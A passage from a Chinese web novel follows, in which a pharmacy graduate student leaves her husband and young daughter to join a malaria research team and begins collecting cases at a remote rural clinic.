快到放学的点了,幼儿园门口家长慢慢多起来,舒英抱臂站在角落,眼睛无神地盯着大铁门,不知道又在想什么。 接到谷雨后,她牵着谷雨往家走。 今天是妈妈来接,谷雨很是激动,一路上叽叽喳喳的,跟小黄鹂鸟一样和妈妈分享今天在幼儿园发生的趣事。 舒英听着,时不时点头应声,让她有兴趣接着往下讲。 谷雨高兴得不行,说得口干舌燥,等她说不动了 ,舒英试探问:“谷雨,如果妈妈要离开你一段时间,你能接受吗?” 谷雨拽着妈妈的手,突然停下来,小脸认真地盯着她问:“妈妈,你要去哪?不能带我一起去吗?爸爸去不去?” 舒英轻叹一声,摸了摸她的头顶,她不应该这么问的,这样只会让孩子提前跟着难受,她笑起来:“妈妈随便说说的,哪里都不去。” 谷雨这才放下心,脸上又笑起来,蹦蹦跳跳地牵着妈妈回家。 晚上谷雨睡着后,李固言回来了,他今天有应酬,身上沾了丝酒气。 舒英问:“今天喝酒了?” “推脱不掉,就喝了一点点。”李固言说着捏着手指比划了一下。 舒英观察了下他的状态,不像喝醉的样子,也就不再管他,“你去洗个澡再进来,要不酒气带进来,熏着你宝贝闺女。” 李固言虽只抿了一点酒,但也让性格外放不少,听到这话就要去看看宝贝闺女睡得怎么样,忍不住嘟囔着:“感觉现在这么忙,见我闺女的时间都少了,每天我一回来,她就已经睡着了。” 这话戳中舒英,她别过眼,又笑起来:“她前两天还承认你是第二聪明呢?” 李固言来了兴趣,笑问:“真的吗?看来我闺女心里还是有我的。” “废话。”舒英白他一眼,“你是她亲爸,她心里没你还能有谁?” 因为前两年他一直没在孩子面前,总觉得愧疚,也怕孩子心里跟他不亲,没少私下里难受。 李固言低低笑了两声,拿上睡衣去浴室,路过舒英的时候偏头在她脸颊上亲了下。 舒英垂眼,听着他走路的声音。 李固言洗漱完后清醒多了,拿毛巾擦着头发进房间,看着舒英从后面抱了上去:“怎么了?感觉心不在焉的。” 舒英侧头,在他脸上亲昵地蹭了蹭,他刚洗完澡,身上还湿乎乎的。 “有件事我不知道怎么跟你说。” “什么事?”李固言察觉到她声音里的迷茫,也不再玩闹,老老实实在旁边坐好。 舒英看他一眼,抿了抿唇,有些犹豫。 李固言轻声笑了下,握住她的手道:“我们是夫妻,是彼此可以依靠的人,有什么事不能跟我说。” 舒英唇角扬了扬,缓缓将白天学校里的事告诉他。 说完后,房间里一时陷入沉默,李固语嘴唇动了动,柔声问:“你心里是想去的,对吗?” 舒英迎着他的目光,缓慢点头,“是。”肯定的字眼说出来,好像白天的所有彷徨都散去,心底渐渐汇聚出一股力量,鼓励着她将自己的想法全部说出。 “我学的药学,这个专业其实很枯燥,要学要记的东西很多,涉及到医学、化学、生物等多门学科,每种药因为成分、剂量的不同而产生不同的作用,我了解它们、分析它们、制作它们,慢慢的,我学会了很多东西,也成为了别人眼中有知识有文化的人,我学到了这些东西,那我也想用我的本领去做一些力所能及的事情。” 她越说眼睛越明亮,李固言知道,她一定会去,她想要报效国家,想要成为别人眼中有用的人。 “我们这个专业的工作其实是很难直接接触到患者本人的,就是进医院,也是在药学部研药制药,今年暑假我做了两个月这个工作,这项工作是很有意义的,但是,”舒英抬头看他,眼神不躲不避,“我很难从这份工作中获得成就感。” “每天都是既定的流程,不变的操作,制作着前辈们已经研究出来的药物。可是我也想像前辈们一样,为这个行业献出一份力,我也想有很多病痛中的患者因为我的研究而得以喘息。”她说着,眼眶不自觉蓄起泪水。 李固言伸手轻柔地为她拭去,点点头说:“那就去吧,人生这么长,总要做一些你觉得对的、有意义的事情,哪怕这件事困难万分,哪怕这件事可能会要了你的命。” 舒英再也控制不住眼眶中的泪水,上前搂着他,将头埋在他怀里,小声啜泣,因为他的支持,她觉得自己的心又安定了一分。 “谢谢你。”她在他怀中闷闷道。 李固言笑起来,轻抚着她的背,“这有什么好谢的,我们是夫妻不是吗?” “是,我们是夫妻。” 李固言抱着她也有些感慨,时间过得真快,那年穿着红裙,躲着他的目光满脸羞涩的女孩,现在已经变得成熟又坚定,有自己的理想和目标。 “家里你放心,我会带好谷雨的。” “那你的厂子呢?”舒英哭一场,觉得有些不好意思,趴在他怀里不肯起身。 “钱是赚不够的,只要挣得够我们一家人用就行,你安心的去做你想做的事情。” 舒英破涕为笑:“之前还说要给谷雨买别墅呢,现在要食言了。” “没事。”李固言笑得有些狡黠,“反正我们也没跟谷雨说,没说出去的话就不算食言,而且别墅肯定会买的,只是要等两年而已。” 第70章 第 70 章 苦苦的药 快要入秋了, 空中风一阵一阵刮过,吹到身上凉飕飕的。 昨天章惠然刚宣布这个消息的时候,大家都还迷茫着, 不知道如何选择, 今天,舒英早上七点多到实验室,师哥师姐们都一脸的轻松, 一看就是心里已经有主意了。 舒英刚坐下,付思萱就问:“姐,你考虑好了吗?” 她点头:“我跟家里人说了,我想加入项目组, 我觉得能参与进这个研究里是我的荣幸。” “巧了!我也是这样想的。”付思萱眼睛亮起来,奕奕有神地看着她,“我也是这样想的,你还没来的时候, 我都问遍了, 大家都说不想退出,虽然这个病传染性很强, 也很危险, 但这个机会真的很难得,如果我们跟着导师真的能攻克其中一项难题,那对我们来说真的是莫大的荣幸。” 她一边说一边感慨,双手捧在胸前, 一副已经成功了的样子。 舒英笑起来,赞同她的这一番话,付思萱正在兴头上,嘴巴一张一合, 喋喋不休道:“而且我们就是学这个专业的,世界上的疾病有很多种,就算我们这次因为害怕疟疾而退出研究,那以后也可能会碰到更严重更艰险困难,总不能每一次都像缩头乌龟一样躲起来吧?哎呀,我不是说缩头乌龟不好,不是,我不是说避开困难不好……” 她越描越黑,顿时有些焦急,生怕别人误会了她的意思。 舒英失笑,按住她激动的手道:“我懂,我懂,你的意思是每个人有每个人的顾虑,选择哪一条路都没有对错,只是不畏困难,愿意身临险境舍己奉献于我们而言更有意义,也更能体现出我们的价值。” “对!”付思萱猛点头,“我就是这个意思。我们还年轻,算是走在当今社会最前列的人,甚至现在还有很多人贫穷到吃不饱饭,有很多人像疟疾患者一样受病痛折磨,既然我们学了这个专业,既然我们可以奉献出一份自己的力量,那又为何不呢?” “那又为何不呢?”舒英唇齿间重复了一遍这句话,忽地粲然笑起来,“是啊,那又为何不呢?” 付思萱也笑,环顾一周,实验室里的人都埋首于书籍,而神色坚定,有着对自己选择好不畏惧的淡然。 不过这件事只自己意愿坚定还是有些不够的,舒英问:“那你跟你家里人说了吗?他们这么说?” 一说起这个,刚才还意气风发的人瞬间垮了脸,唉声叹气地说:“我爸妈,唉!” 这个回答,都不用多问,就知道八成是不太同意的。 付思萱:“我昨晚回到家就把这件事告诉他们了,他们一开始坚决不同意,但架不住我想去,现在虽然还是没有松口,但态度有所松动,我再磨一磨 ,肯定能成功的。” “这件事不是小事,你可千万不要干那种瞒着的事,否则会让他们伤心,还跟着担惊受怕。”舒英自觉比她年长,又做了母亲,所以考虑事情并不只是站在儿女的立场。 付思萱点头:“我知道,不过我是下定决心了,放心吧,到最后他们肯定会同意的,不同意我就哭给他们看,哭得他们受不住。”说完有些得意地笑起来,可见没少用这个方法对付爸妈。 舒英见状笑着摇了摇头,“没关系,离最后期限还有六天呢,只要这六天里你爸妈同意就行。” 今天章惠然外面有会议,就没来学校,也就不知道学生们这么快已经做好了选择。 等第二天来学校的时候才知道,既惊喜又满意,其实在她心里她的这几个学生都是很不错的人,虽然给了他们七天的时间做选择,但其实已经预料到他们最后都不会选择退出,只是出乎她意料的是,他们竟然这么快就做好了决定,甚至都没有过多犹豫。 她眼含笑意,看着自己的学生们,很是赞赏地点点头:“好,你们都是好样的,都没有让我失望,这走出去才像是我带出来的学生。既然如此,那从今天起,你们就先查阅相关文献,快速阅读跟青蒿素相关联的知识,加入这个项目的不止我们团队,甚至不止我们学校,出去后大家都不要给我们学校丢脸。” 大家齐齐笑出声,满含热情地应答着。 这一刻,不大不小的实验室瞬间被这一群师生们的崇高理想填满,他们关心着远在南方的患者们,他们壮志凌云,相信当贡献出自己的一份力量时,恐怖的疟疾一定会从地球上消失,饱受折磨的患者们一定会痊愈。 章惠然继续嘱咐:“短时间内,我们还不会到疫区去,你们目前就安心地学习相关知识。另外,多陪陪家人,跟家里人说清楚,不要让他们为你们忧心难眠。” “好。” 提到家人,话题又变的有些沉重,章惠然也不再多说,离开了实验室。 接下来的日子逐渐变得忙碌起来,实验室里再也没有人闲聊,大家都在钻研文献,着手青蒿素的基础研究,分析数据。 舒英白天在学校学习,晚上回了家还在学,甚至夜里做梦都是密密麻麻的文献追着人跑,让人不看不行。 没两天,舒秀珍也知道了她这件事,找上门来,指着她的额头恨恨问:“你是不是疯了?不要命了?要去那种危险的地方?!” 舒英知道她是担心自己,并不生气,讨好地给她泡了杯咖啡:“尝尝,固萱从国外带回来的,特别香醇。” 舒秀珍翻个白眼,摆手拒绝道:“你别来这一套,我可不吃你这糖衣炮弹,留着给李固言吃去。” 提到李固言,她话音突然一转,坐到她对面问:“你要做这些不要命的事儿,李固言同意了?他也没说什么?” 舒英讪讪一笑,不好意思地摸摸鼻子。 看到她这样,舒秀珍哪里还有不明白的,有些咬牙切齿地瞪了她一眼,“这个李固言!让我说他什么好。” 舒英见她气成这样,心中也有些歉意,拉着她的手跟她说自己的心里话:“姐,其实能做这件事,我很开心。” “你就逞英雄吧。”舒秀珍横她一眼,“我知道这件事是一件很伟大的事,但是这件事,它有很多人可以做,缺你一个也不缺,可咱们家里要是缺了你,不说我们,你就说谷雨,你让她以后怎么办?姐活到这么大,经历的东西不少,我明明白白地告诉你,男人都是善变的,你别看李固言现在这么爱你,你要是真出了什么意外,你信不信他没两年就能再娶一个?我告诉你,有了后妈就有后爸,到时候谷雨成了没人疼的小可怜,你就在天上急得团团转吧你!” 她话说得狠心,舒英也的确放不下谷雨,但她还是说:“姐,这件事也没你想得这么严重,我又不是肯定会死,如果真这么危险,大家岂不都是有去无回了?而且谷雨也不会成为小可怜,别说李固言不是那样的人,就算他是,这不还有你这个亲大姨呢吗?难道你敢说你不疼谷雨?” “你别在这跟我犟,这种事情不怕一万就怕万一,真要有点什么意外,有你受的。”舒秀珍说完见她反应,知道她是铁了心了,八头牛都拉不会来,她一时有些沉默,随后才道,“算了,你既然都已经决定好了,我也不说这些戳你的心了,不过我敢跟你保证,不管你怎么样,谷雨都是我亲外甥女,跟贝贝是一样的,有贝贝的一份就不会缺了她的。” 舒英笑了笑,眼神直视着她:“我相信。” 姐妹俩坐在一起,都有些动容,舒英说:“姐,我没说大话,能参与这个项目,我是真的高兴,感觉自己好像瞬间被看见了,我也有我的价值,我的价值可以帮助很多人。” 舒秀珍顿了顿,有些陌生地摸了摸她的头,眼含歉意,“你小时候过得不好,是我不对,我没担起姐姐的责任,让你受委屈了。” 舒英摇摇头,将头靠在她肩膀上:“你那时候也还是孩子呢,你已经做得很好了。” 舒秀珍哽咽起来,很是自责:“不、不好,我那时候只顾着自己,都没有发现你受了那么多的委屈……” “好了好了,以前的事就不要再说了。”舒英笑起来,给她擦了擦眼泪,哄孩子似的道,“贝贝都那么大了,你怎么还好意思哭?也不知道害羞。” “那怎么了?谁规定我不能哭了?”舒秀珍梗着脖子道,说完自己也忍不住破功笑起来。 家里的大人们已经都知道这件事了,只孩子们还不清楚。 窗外风卷过,舒英看书的时候谷雨从门外进来,带着一头的汗。 她笑起来,将孩子揽进怀里,拿帕子在她脸上擦了擦:“今天打拳学得怎么样?” 谷雨用力点头,“今天师傅又夸我了,夸我进步特别大!” “真厉害!”舒英也夸,眼神里都是爱意,谷雨有些得意的笑起来。 舒英从她的衣服下摆伸进去,在她后背上摸了下,也湿乎乎的,她站起身牵着她说:“妈妈带你去冲个澡,然后换身干净的衣服。” “好。”谷雨乖乖牵着妈妈的手跟着。 小女孩身上就是出了汗也是香的,浴室里雾气蒸腾,两个人脸上都红扑扑的,舒英在手心里挤了沐浴露,搓出泡后抹到她身上,不知道什么时候碰到了她的痒痒肉,逗得她咯咯笑。 她边笑边躲:“妈妈好痒,妈妈好痒!” 舒英也忍不住笑起来,拉着她的胳膊又给拉回来,“那你自己抹。” “不要,要妈妈抹。”谷雨鼓起脸,摇头拒绝。 舒英笑着将泡沫点在她鼻头上:“小坏家伙。” “才不是坏家伙,是好家伙。” “好好好,是好家伙。”舒英应着她的话,“真不嫌害臊,自己说自己是好家伙。” 母女俩在浴室里边洗边说笑,洗完澡后舒英用毛毯将谷雨裹得严严实实,抱到床上,掀开被子放进被窝,天气已经转凉了,刚洗完澡出来要注意保暖。 等将谷雨安置好后,舒英也上床坐到她旁边,谷雨很自然地钻进她怀里撒娇,用小孩子特有的清透嗓音道:“妈妈,你身上香香的,软软的。” 舒英搂着她,笑道:“你身上也是香香的,软软的,妈妈最喜欢你了。” “我也最喜欢妈妈。” 舒英莞尔,想了想问:“谷雨,你知道疟疾是一种什么病吗?” 谷雨茫然摇头:“不知道,妈妈你生病了吗?” “没有,妈妈没有生病。”舒英耐心解释说,“疟疾是一种热带疾病,在我们国家的一些南方省市中,有很多人得了这种病,每年都有很多人因为这个病去世,其中,有好多都是像你这么大的孩子。” “去世是什么意思?”谷雨仰头问。 “嗯,去世就是离开我们现在这个世界,去了另外一个世界,他们的家人再也见不到他,他也见不到他们。” “如果我去世了,是不是就再也见不到爸爸妈妈,见不到贝贝,见不到赵阿姨黄阿姨,也不能跟芝芝玩了?” 舒英点头:“是的,谷雨真聪明,一下子就听懂了。” “那我不要去世,爸爸妈妈也不要去世。”谷雨只要一想到再也见不到爸爸妈妈,瘪着嘴有些想哭。 “不会不会。”舒英有些哭笑不得,她本意是想跟谷雨说疟疾的,也不知怎么就扯到 了去世上,小孩子对这些是很难真正理解的,说多了还会惹得她们伤心难受。 她伸手擦去闺女脸上的泪水,“每个人都要去世,不过还早着呢,起码要等你成为没牙的老太太,爸爸妈妈才会离开你。” 谷雨对这个回答很不满,紧紧环住妈妈的腰,说:“我成为没牙的老太太,妈妈也不准离开我。” “真霸道。”舒英点了点她笑了笑。 “你们娘俩聊什么呢?我的宝贝怎么哭成泪人了?”李固言进来,瞧见谷雨脸上的泪道。 舒英无奈地解释一遍。 李固言点头,走到床边在谷雨脸上亲了下,温暖的大掌在她头顶抚摸了下:“宝宝不用害怕,离那个时候还早着呢,我们现在还可以很快乐地生活在一起。”说完转移话题问,“爸爸给你买了饼干,巧克力的噢,要不要吃?” “要。”谷雨哼哼唧唧,还噘着嘴。 “那你起来穿好衣服,我们到外面吃。” “好。”谷雨答应,又拉着舒英,“妈妈也吃。” 吃了巧克力饼干后,谷雨的心情才好起来,将刚才的不开心全都忘记。 今天说疟疾的时机已经错过了,不过舒英没放弃,等第二天晚上在房间里看书的的时候把谷雨抱在腿上,问:“妈妈昨天跟你说的疟疾你还记得吗?” “记得。”谷雨点头,“就是有好多好多人因为得了这个病去世。” “对。好多像谷雨这么大的小朋友也得了这个病,得了这个病后很痛苦,一会儿发热,一会儿发冷。” “那他们是不是要吃药还要打针?”谷雨还记得自己生病时爸爸妈妈带她到医院里打针的场景,现在想起来还有些抵触。 “是,但是这个病跟你之前感冒不一样,你的感冒,只要乖乖吃药乖乖打针,就会痊愈,可疟疾的药不能很好的治疗这个病,所以那些病人还是很痛苦。” “啊。”谷雨皱起脸,她是个善良的小姑娘,很容易为别人动情,路上见到穿着破烂的乞丐爷爷奶奶,都会忍不住埋在妈妈怀里哭一场,所以一想到有很多人因为疟疾而痛苦就感到伤心。 舒英并不打断她的情绪,生而为人,应该具有善良的能力,她抱着她,在她后脑勺上摸了摸,“你知道妈妈是做什么的吗?” 谷雨点头:“知道,妈妈是做药的,苦苦的药。” 舒英笑了:“对,苦苦的药,但是苦苦的药是可以救人命的。妈妈过段时间就要去给得了疟疾的病人做苦苦的药了。” “那那些人吃了妈妈做的药,肯定会好起来的,对吗?” 小孩子童言童语,舒英看着她黑白分明的双眼,大大的黑眼珠中是对妈妈的深信不疑,她默了一瞬,还是点头说:“是,那些人吃了妈妈做的药,就会好起来的。” 谷雨终于笑起来,笑容灿烂又明媚:“那妈妈你要赶快把苦苦的药做出来噢,这样他们就不用再那么难受了。” 窗外天色将暗未暗,一股静谧的蓝色笼罩着小区,住在五楼,隐隐约约还能听到楼下小孩子们的嬉闹声,又快乐又幸福。 “好,妈妈赶快把苦苦的药做出来。”舒英抱着她的手紧了紧,将下巴搭在她头顶,“但是妈妈必须要向你坦白。” “妈妈你说吧。” “苦苦的药是不能在家里做的,过段时间,妈妈要跟付阿姨、欧阳阿姨她们一起去南方,可能要很长时间才能回来。” 谷雨眨巴了下眼睛,问:“我不能跟妈妈一起去吗?” 舒英缓缓摇头:“不可以。” 谷雨有些失落,追问道:“那妈妈多久才能回来?” “妈妈也不知道。” 舒英说完还以为谷雨会更加伤心,没想到她叹口气,有些惆怅说:“那好吧,那妈妈你去到那边要加油噢,早点把苦苦的药研究出来,这样那边的小朋友就不会再难受了,而且我会很想你的。” 她的反应出乎舒英预料,她有些怔忡,良久后才反应过来,在她脸上吧唧一口道:“妈妈会加油的,我们谷雨真棒,已经长成成熟的大孩子了,妈妈到了那边也会想你的。” “也要想爸爸。”谷雨不忘补充说。 舒英好笑道:“嗯,也会想爸爸。” 李固言今天又很晚才回来,他知道她要不了不久估计就要去疫区了,便想着趁这段时间赶紧将厂里的事都处理一下,也不再省钱了,厂里又招了许多人,将事情都安排到下面去,到时候他就能将生活的中心从工作转到家庭上。 妈妈要去做很有意义的一件事,爸爸也不能托她的后退,要让她无后顾之忧,而她的后顾之忧就是谷雨,他会好好的照顾谷雨的。 谷雨对这些细节并不清楚,但对于爸爸能每天都早早回来而感到高兴。 又过了一段时间,章惠然通知他们收拾行李,他们不日将去疫区采集病例,实地研究。 对于这个消息,大家都早已做好准备,但猛然面临着和家人的分离,舒英还是感到有些不舍,哄谷雨睡觉时紧紧抱着她不肯松手,眼睛一眨不眨地盯着她,好像怎么也看不够一样。 李固言知道她是舍不得孩子,从孩子出生到长这么大,就从来没跟她分开过,这突然要分开,而且还确定要多久才能回来,可能是一个月,也可能是三个月,而且疟疾是易感染病,谁也无法确保舒英这一去会经历什么。 想到这里,两人都有些感伤。 李固言从后面紧紧拥着她,闷闷的声音从后面传来:“你到了那边要万事小心,不要挂念我们,我会把谷雨照顾好的,会让她吃饱,让她穿暖,不让她生病,等你回来时,还像现在一样活泼可爱。” “嗯。”舒英应声,没敢说话,生怕自己一开口就压不住哭腔,将已经睡熟的孩子吵醒。 “你到了那边要经常给我们打电话,如果遇到什么事情不要瞒着我们,千万千万不要报喜不报忧,因为你一点都不会撒谎,你的谎话太拙劣了,你瞒着我们的时候,我会担心到睡不着觉。” “好。”舒英动了动,转过身抱住他,“那你也不能报喜不报忧,你自己照顾谷雨要是遇到什么事,也一定要告诉我。” “你放心。” 黑暗的夜晚,两人紧紧相拥,夜晚的小区安静,有晚睡的人家窗口处还亮着昏黄温暖的灯光,星星点点,从远处看,像是点缀在居民楼里的一颗颗星子。魔.蝎.小.说.m.o.x.i.e.x.s..c.o.m &m.o.x.i.exs& 70-80 第71章 第 71 章 病例采集 到了出发的日子, 实 验室里的众人带着行李,告别家人,坐上火车去往疟疾最严重的水和市。 这一路可以说是跋山涉水、风尘仆仆, 他们要到水和市下属的本南县的一个卫生院, 县里没有火车站,火车先坐到水和市后,就转了大巴。 山路不平, 大巴颠簸,空气浑浊,众人坐在上面,一晃一动, 都面露菜色,皱着脸仰头靠在座椅上来缓解从胃里翻滚上来的呕意。 付思萱无精打采地问:“还有多久能到?” 来接他们的负责人孙爱国说:“还有一个小时就能下车了。” 一个小时啊……众人没有说话,闭上眼企图让自己睡着来抵抗晕车带来的难受。 一个小时后,大家一副终于解脱的表情下车, 大力呼吸着外面的新鲜空气, 忙问负责人卫生院在哪,是不是就在附近了。 孙爱国挠挠头, 有些不好意思说:“卫生院离这边还远, 本来是说要派车来接你们的,但咱们现在正值雨季,从卫生院过来的路都太泥泞了,根本不能开车, 所以我们只能走着过去了。” “那要走多久?” “平时我们走,走一个小时差不多就到了,但你们嘛……”他话没说尽,但大家环顾地上堆着的行李, 又望着面前无法描述的泥路,都有些无言,他们都是城里来的,平时走的都是柏油路,哪里见过这种场面…… 章惠然果断地拎起行李,一马当先地迈出去:“行了,我们赶紧走吧,再不走天黑了。” 众人也顾不得抱怨,都赶紧拿起各自的行李,奇形怪状地挎在身体的各个部位,一双双刷的锃白的鞋子一只接一只地踏进泥地里面,鞋子上、裤脚上都被泥巴块包裹。 孙爱国连忙帮女生们拿行李,知道他们都是城里人,没走过这种泥路,就是不带行李都不一定能走好,更别说身上还压着这么重的行李了。 因为研究不是一蹴而就的,众人来之前就知道会在这边待很长时间,也知道这边贫困,东西肯定不好买,所以都准备了很多东西带过来,没想到现在这些东西反而成了他们遇到的第一道坎儿。 深一脚浅一脚地走了一段路后,大家鞋底都沾了厚厚的泥巴层,一步比一步重。 舒英身上背着东西,双手拎着东西,肩膀和手心都被勒得酸疼,双腿走得直打抖,她咬牙跟着,转头问后面的付思萱:“怎么样?跟得上吗?” “能。”付思萱站定,喘着粗气回答,“能跟上。” 阴雨天,天色暗沉得快,大家路上再累都没敢停,这里毕竟是山区,万一天黑还耽搁在路上,恐怕会有危险。 走了差不多一个半小时后,众人终于到了卫生院,看着眼前简陋的小房子,面面相觑,心里说不上什么滋味,这地方简陋到让人不敢相信这竟然是卫生院。 孙爱国连忙喊着屋里的人出来帮忙,这卫生院也没几个人,加上孙爱国也就三个人。 他们出来,热情地接过大家手里的东西,舒英的行李也被放下来,只觉得身上一松,让她能够好好地喘口气。 章惠然走了这么久依然摇杆挺拔,松快地笑起来,关心着学生们:“这一路走来感受如何?” 付思萱累得站都站不直,扶着墙坐在晃动的长凳上,摇摇头说:“路太难走了,太辛苦了。” “是的。”章惠然点头承认,又道,“不过今天可能是未来这段时间最轻松的一天,这边远比大家想象中的还要困难百倍。” 大家这时都没有力气讲话了,静静点头答应。 这时孙爱国端着饭出来喊他们道:“章老师!你们这一路肯定累坏了,快来吃饭吧。” 章老师挥手:“走吧,我们去吃饭。” 饭是简单的木薯饭,再一人配点腌酸笋,唯一的荤腥是巴掌大的小鱼,孙爱国笑了笑:“这鱼是我们特意到溪里捉的,你们尝尝味道怎么样。” 章惠然夹了一块嚼了嚼,笑着道谢:“很好吃,真是麻烦你们了。” “不麻烦,你们都是有本事的研究员,能愿意到我们这个苦地方来,是你们麻烦才对。” 雨季最适合蚊虫生长,大家来到这没一会儿,就被蚊子叮了好几口,鼓起红包,吃一口饭就不得不停下抓痒。 天已经黑透了,房间里就靠一盏昏暗的煤油灯照明。 孙爱国面带歉意:“我们这边总下雨,一下雨电路都不通常,停电是常有的事。” 大家不是奔着享福来的,来之前就知道条件艰苦,都表示理解,吃完饭各自洗完碗后就准备收拾睡觉。 这边房间不多,他们简单地分成两个房间,男生一间女生一间,洗漱好后就来铺床。 章惠然不忘叮嘱:“一定要把蚊帐挂好,睡觉的时候把蚊帐的边边角角都给塞好,这边蚊虫的厉害你们是明白的,在这边生活千万要注意防蚊。” 舒英的床靠窗,她躺在床上,从缝隙里看出去,天气不好,连一颗星星都看不见,在这黑漆漆的夜里,她心里想着谷雨和李固言,来的时候,谷雨搂着她的脖子泣不成声,李固言也是一脸的不舍,不知道他们现在在干嘛。 蚊帐外的蚊子嗡嗡响,不甘心地在四周飞舞,企图叮到人喝到血。 两个人一张床,付思萱睡在她旁边,白天走了太多路,她已经睡熟,轻微打着鼾,无意识地伸手在脸上挠了挠后贴着蚊帐放下。 舒英就看有蚊子要隔着蚊帐的细孔叮上来,她连忙把她的手拿开,离蚊帐远一些。 随后她打了个哈欠,也闭上眼沉沉睡去。 沪市。 谷雨哭累了,蜷在爸爸怀里,抽抽噎噎问:“妈妈什么时候回来?” “过年就回来了。”李固言给她擦眼泪,拍着哄着,舒英离开的这几天,谷雨白天跟小朋友们一块儿玩还好一点,等到了晚上躺在床上后就要开始哭闹,每每都要哭到半夜直到哭不动了才停下。 他看着心疼,心里也跟着着急,这样一直哭下去可不行,这几天早上起来的时候,眼睛都肿成核桃了,看着骇人,可他又没有什么办法阻止,孩子心里难受,可不就是哭嘛。 谷雨睡着了,他看着她,她的小眉头紧皱着,梦里估计也在找妈妈,他起身出去拿了湿毛巾进来,轻轻敷在她眼睛上,盼着明天能消点肿。 李固言半躺着抱着孩子,看着窗外皎洁的月亮,也在思念着她。 …… 第二天一大早,大家就都起来了,拉扯了一天的肌肉在睡一夜后变得格外酸疼,一瘸一拐地动着,时不时嘴里还要“嘶”一声。 早饭本来不好意思麻烦孙爱国几人的,但他们不太会用厨房里的灶台,只好在他们烧锅的时候边看边学。 孙爱国道:“你们不用学,你们大老远到我们这里来是帮助我们的,是要做大事的,哪里还能让你们自己烧饭?” 他们要在这待的时间可不短,人也不少,哪里好意思一天三顿饭都麻烦他们给自己做?舒英笑笑说:“没事,孙大哥,我们学一学不费事的。” 吃完早饭后,章惠然道:“我们过来了,就要争分夺秒,所以今天就不给大家休息时间了,今天就去山里采集病例样本,对患者采血,算上我,一共是三个男生,四个女生,为安全起见,就一男一女分成三队,我随便跟谁一对,因为语言不通,我跟爱国同志说了,他会给我们找听得懂普通话的赤脚医生一起,我们初来乍到,还不清楚哪家有病人,赤脚医生会带着我们过去。” 他们按照田忌赛马方式组的队,博士生孔天和、欧阳雪分别和研二付思萱、研一文成化一队,处在中间的舒英与廖承平一队,章惠然今天跟舒英他们一起。 分好队后,谁也没耽误,穿上长袖长裤,带上采血的东西就准备出发。 孙爱国叫住他们,看着他们的穿着问:“你们就这样去?” 大家站定,都扫了眼自身,不知道有什么地方不妥。 孙爱国转身进屋端了个盆出来,盆里泡的湿布。 他道:“下雨天,蚂蝗多得很,我用盐水浸泡了这些布条,你们把这个缠到自己腿上,可以防蚂蝗的。” 众人这才明白过来,章惠然率先从盆里拿了两块布,缠到自己腿上:“谢谢啊,爱国同志,你看我这样缠的行吗?” “太松了,你要再勒紧一点,不然走几步就掉了。” 舒英也把布在腿上缠好,湿哒哒的步裹在皮肤上有些难受,但这时候谁也顾不上嫌弃,毕竟和蚂蝗比起来这都是小事。 付思萱小声道:“我一想到蚂蝗趴在我腿上那个画面,就忍不住浑身寒颤。”边说身子还边打了个抖,很是生动。 舒英笑了笑,安慰道:“没事,我们缠这个布了,蚂蝗叮不上我们的。” 等他们准备的差不多后,赤脚医生也过来了,总共来了三个,带着舒英的姓程,家中行三,让他们唤他程三哥,是程庄的,待会儿也要带着他们去程庄采样。 程三哥瞧着四十岁上下,皮肤黝黑,一双大掌上都是老茧,操着一口口音浓重的普通话道:“外面的地还是湿的,不能骑自行车,得走着过去。” 廖承平努力辨析着他的话,反应了一会儿才算是听懂,问:“程庄离咱们这边有多远?” “不远不远,翻过那个山头就到哩。”他一早上走过来才用了一小时。 舒英抬眼望着他手指的方向,这样遥遥一望,根本看不见有任何村庄的模样,更不知道他口中的程庄在哪。 但没办法,再远也得过去,而且还得赶紧出发了,要不然凭着她和廖承平的腿力,等到地方估计都晌午了。 她不忘提醒大家道:“今天第一天,还是走着过去,也不知道村里是什么情况,中午前不一定能赶得回来,包里装点吃的,最好是压缩饼干,抗饿,再把水壶灌满。”这边是没有自来水的,都是溪水,她相信平时的溪水一定是清澈的,但被雨冲打过的溪水十分浑浊,里面肯定有不少微生物,大家早上喝的时候都还有些顾忌,但不喝也没有别的水,只能用锅烧开后沉淀一会儿,杂质能过滤掉多少是多少。 大家没想到这一茬,听到这话,连忙回屋拿了不少吃的放挎布包里,又在水壶里灌了烧过的水,也背在身上,这才出发。 舒英、章惠然和廖承平跟着程三哥一起去程庄,还是昨天那种路,走一步就是一脚泥,舒英低头看着自己脚上的鞋,昨天穿着这鞋走了一个多小时,已经脏得完全不能看,今天来不及刷洗就又踩着它进了泥地,等从这里回去,恐怕这双鞋就光荣地完成了它的使命。 这边属于热带气候,沪市这时候已经有些冷了,这里还是暖和的,阴着天,空气中还有些闷热。 程三哥在前面领路,三个人跟在他身后,边走边喘粗气,身上也出了薄汗。 舒英关心章惠然,问:“老师,你怎么样?”章惠然毕竟已经五十二岁了,前几天一直在火车上,昨天又走了那么久,到现在都没怎么歇息过,身子不一定能吃得消。 章惠然摆摆手,扶着腿喘了几下,笑道:“没事,我当年当知青时,也是这种山路,走了许多年了。” 舒英还是有些不放心,她当知青时正年轻,现在跟那时候可没法比。 “我没事,你走你的。”章惠然又问程三哥,“程同志,你们村得疟疾的多吗?” 程三哥在这山路上走得轻轻松松,不喘不累的,他回道:“我们村多哩,我给他们开过药,有的人吃了药就好了,有的人就好不了。” 章惠然点头,问两个学生,这种会是什么原因导致? 舒英思索了下问:“程三哥,你给他们开的什么药?” 她问完后,就见章惠然满意地点了下头。 “氯喹。”这是这时候治疗疟疾的常用药, 舒英心中立时有了判断,回道:“有可能是程庄出现了氯喹耐药性的疟原虫,而那些吃了氯喹后不起作用的患者正是被这种疟原虫感染。” 章惠然听完她的答案后笑了笑,没有立刻点头认同。 廖承平这时候补充道:“也有可能是因为虫种差异,如果患者感染的是间日疟原虫,那么氯喹的治疗是有效果的,因为这种疟原虫对氯喹敏感,但如果是恶性疟原虫,那么疗效是显著下降的。” “也有可能是误诊,疟疾的症状为发热、寒战,但实际上患者患的是具有同种症状的疾病,比如登革热,那么氯喹也是不起作用的。”舒英又道,疟疾的确定需要通过血涂片的镜检确认疟原虫的存在,而赤脚医生对于医学上面的知识还不全面,往往依赖于经验,只根据患者的症状来判断疾病。 章惠然点头:“分析的还算全面,当然,还有一些可能,比如,氯喹储存不当,导致失了药效,患者免疫状态,还有可能是反复感染,患者吃了氯喹后,没有及时灭蚊、防蚊,导致在治疗期间被反复感染,使药物实际效果被掩盖。” 两人听完后点头,舒英从包里掏出小本子记下来。 